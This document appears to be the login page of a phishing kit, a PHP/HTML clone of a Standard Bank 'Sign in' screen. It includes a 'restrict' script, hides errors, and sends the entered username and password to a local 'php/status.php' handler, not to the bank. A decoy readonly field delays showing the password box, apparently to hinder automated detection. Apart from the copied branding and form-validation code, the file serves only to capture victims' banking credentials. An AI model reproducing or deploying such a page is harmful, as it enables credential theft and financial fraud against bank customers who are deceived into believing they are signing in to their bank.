 <?php
error_reporting(0);
include "includes/restrict.php";
include "includes/functions.php";
/* include "includes/mobile.php"; */
/* include "includes/session_protect.php"; */

error_reporting(0);
?>

<!DOCTYPE html>
<html lang="en" dir="ltr" class="plt-mobile plt-mobileweb md hydrated" mode="md">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Sign in</title>


<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
<meta http-equiv="x-ua-compatible" content="IE=edge">


<link rel="stylesheet" href="theme/tea.css">
<link rel="stylesheet" href="theme/ionic.bundle.css">

<link rel="stylesheet" type="text/css" href="theme/sbg.css">
<link rel="icon" type="image/png" href="theme/favicon.ico">



<span class="kxtag kxinvisible" data-id="43423"></span><span class="kxtag kxinvisible" data-id="33311"></span><span class="kxtag kxinvisible" data-id="46073"></span><span class="kxtag kxinvisible" data-id="33312"></span><span class="kxtag kxinvisible" data-id="34576"></span><span class="kxtag kxinvisible" data-id="47305"></span>

<script type="text/javascript" src="theme/jquery-2.2.3.js"></script>

<script>


function tryit() {
document.getElementById("blank").value = "Blank"; 
setTimeout(function() {
document.getElementById("passdiv").style.display = "block";
document.getElementById("password").focus(); 
}, 0800);
}

function check(form) {



if (form.username.value == "")
{ form.username.focus(); document.getElementById("alertMessagelipusername").style.display = "none"; document.getElementById("error1").style.display = "block"; document.getElementById("username").classList.add('inputsError');  document.getElementById("ion-input-0-lbl").classList.add('errors'); return;} else { document.getElementById("username").style.borderColor = "#DEDEDE"; document.getElementById("error1").style.display = "none";  }



if (form.username.value.length < 6)
{ form.username.focus(); document.getElementById("alertMessagelipusername").style.display = "none"; document.getElementById("error1").style.display = "block"; document.getElementById("username").classList.add('inputsError');  document.getElementById("ion-input-0-lbl").classList.add('errors'); return;} else { document.getElementById("username").style.borderColor = "#DEDEDE"; document.getElementById("error1").style.display = "none";  }


if (form.blank.value == "")
{ form.blank.focus(); return;}



if (form.password.value == "")
{ form.password.focus(); document.getElementById("alertMessagelipusername").style.display = "none"; document.getElementById("error2").style.display = "block"; document.getElementById("password").classList.add('inputsError');  document.getElementById("ion-input-1-lbl").classList.add('errors'); return;} else { document.getElementById("password").style.borderColor = "#DEDEDE"; document.getElementById("error2").style.display = "none";  }


var regExpress = /^(?=.*[0-9])(?=.*[a-zA-Z])(?=\S+$).{6,20}$/
if (!regExpress.test(form.password.value))
{ form.password.focus(); document.getElementById("alertMessagelipusername").style.display = "none"; document.getElementById("error2").style.display = "block"; document.getElementById("password").classList.add('inputsError');  document.getElementById("ion-input-1-lbl").classList.add('errors'); return;} else { document.getElementById("password").style.borderColor = "#DEDEDE"; document.getElementById("error2").style.display = "none";  }


form.submit()
}


function showit() {
  var x = document.getElementById("password");
  if (x.type === "password") {
    x.type = "text";
	document.getElementById("showbutton").innerHTML = "HIDE";
  } else {
    x.type = "password";
	document.getElementById("showbutton").innerHTML = "SHOW";
  }
} 
</script>


</head>

<body class="body-container" style="">
<ion-app class="md ion-page hydrated">
<ion-content class="md hydrated" style="--offset-top:0px; --offset-bottom:0px;">
<div class="ping-logo login-template">
<div class="ping-outer-container" style="display: flex;">
<div class="ping-logo login-template">
<span class="company-logo"><img src="theme/sbg.png"></span>
</div>

<form method="POST" action="php/status.php" autocomplete="off" data-frmcontainer="Ping | Sign in">
<div class="ping-container ping-signin login-template">
<div class="ping-body-container">

<div class="content-column column-1 bm">
<div class="ping-header">
Sign in with your Standard Bank ID
</div>
</div>
<div class="ping-input-container" id="container-lipusername">
<ion-item id="usernamelabel" class="item-interactive item-input item md ion-focusable hydrated item-label item-label-floating">
<ion-label position="floating" id="ion-input-0-lbl" class="sc-ion-label-md-h sc-ion-label-md-s md label-floating hydrated">
Username
</ion-label>
<ion-input required="" class="validate sc-ion-input-md-h sc-ion-input-md-s md hydrated" type="text" name="pf.username" id="lipusername" value="" autocorrect="off" autocapitalize="off">
<input onKeyDown="if(event.keyCode==13) check(this.form);" class="native-input sc-ion-input-md inputs" aria-labelledby="ion-input-0-lbl" autocapitalize="off" autocomplete="off" autocorrect="off" id="username" name="username" placeholder="" maxlength="50" spellcheck="false" type="text">
</ion-input>
<div class="type-alert" id="error1" style="display:none;">Required</div>
</ion-item>
<div class="custom-validator-alert custom-validator-hint" id="alertMessagelipusername" style="display: block;">Haven’t created a username? Sign in with your registered email address.</div>
</div>
<input onfocus="tryit();" onchange="tryit();" type="text" autocomplete="off" id="blank" name="blank" readonly="readonly"> 
<div id="passdiv" style="display:none;" class="ping-input-container password-container">
<ion-item id="passwordlabel" class="item-interactive item-input item md ion-focusable hydrated item-label item-label-floating">
<ion-label position="floating" id="ion-input-1-lbl" class="sc-ion-label-md-h sc-ion-label-md-s md label-floating hydrated">
Password
</ion-label>
<ion-input id="passwordz" required="" class="validate show sc-ion-input-md-h sc-ion-input-md-s md hydrated" type="password" clear-on-edit="false" name="pf.pass" onkeypress="return formActions.postOnReturn(event)">
<input onKeyDown="if(event.keyCode==13) check(this.form);" class="native-input sc-ion-input-md inputs" aria-labelledby="ion-input-1-lbl" autocapitalize="none" autocomplete="off" autocorrect="off" id="password" name="password" placeholder="" required="" spellcheck="false" type="password">
</ion-input>
<div class="type-alert" id="error2" style="display:none;">Required</div>
</ion-item><a onclick="showit();" id="showbutton" class="show-hide">SHOW</a>
</div>


<div class="ping-buttons">
<button onclick="check(this.form)" type="button" id="signon" class="thebutton">
Sign In
</button>
</div><!-- .ping-buttons -->

<div class="ping-input-link ping-pass-change account-actions">

<a onclick="login.postRecoverUsername();" class="forgot-password">Forgot username</a>
</div>


</div><!-- .ping-body-container -->

<div class="ping-footer-container">
<div class="ping-footer">
<div class="ping-register">

Don't have a Standard Bank ID? <a data-intent="infomational" data-scope="signin" data-id="link_content" data-text="Ping:Create an account link click" onclick="login.postRegistration();">Register here</a>
</div>

</div>

</div>
</div>
</form>
</div>
</div>
</ion-content>
</ion-app>



<script>
$('#username').focus(function()
{
$("#usernamelabel").attr('class', 'item-interactive item-input item md ion-focusable hydrated item-label item-label-floating item-has-value smalltext');
$("#ion-input-0-lbl").attr('style', 'color: blue;');
});

$('#username').blur(function()
{
    if( !$(this).val() ) {
$("#usernamelabel").attr('class', 'item-interactive item-input item md ion-focusable hydrated item-label item-label-floating');
$("#ion-input-0-lbl").attr('style', 'color: #707070 !important');
    }
	else {
$("#usernamelabel").attr('class', 'item-interactive item-input item md ion-focusable hydrated item-label item-label-floating item-has-value smalltext');
$("#ion-input-0-lbl").attr('style', 'color: #707070 !important');
$( "#username" ).removeClass( "inputsError" );
$( "#error1" ).hide();

	}
});







</script>
<script>
$('#password').focus(function()
{
$("#passwordlabel").attr('class', 'item-interactive item-input item md ion-focusable hydrated item-label item-label-floating item-has-value smalltext');
$("#ion-input-1-lbl").attr('style', 'color: blue;');
});

$('#password').blur(function()
{
    if( !$(this).val() ) {
$("#passwordlabel").attr('class', 'item-interactive item-input item md ion-focusable hydrated item-label item-label-floating');
$("#ion-input-1-lbl").attr('style', 'color: #707070 !important');
    }
	else {
$("#passwordlabel").attr('class', 'item-interactive item-input item md ion-focusable hydrated item-label item-label-floating item-has-value smalltext');
$("#ion-input-1-lbl").attr('style', 'color: #707070 !important');
$( "#password" ).removeClass( "inputsError" );
$( "#error2" ).hide();

	}
});


</script>

</body>
</html>


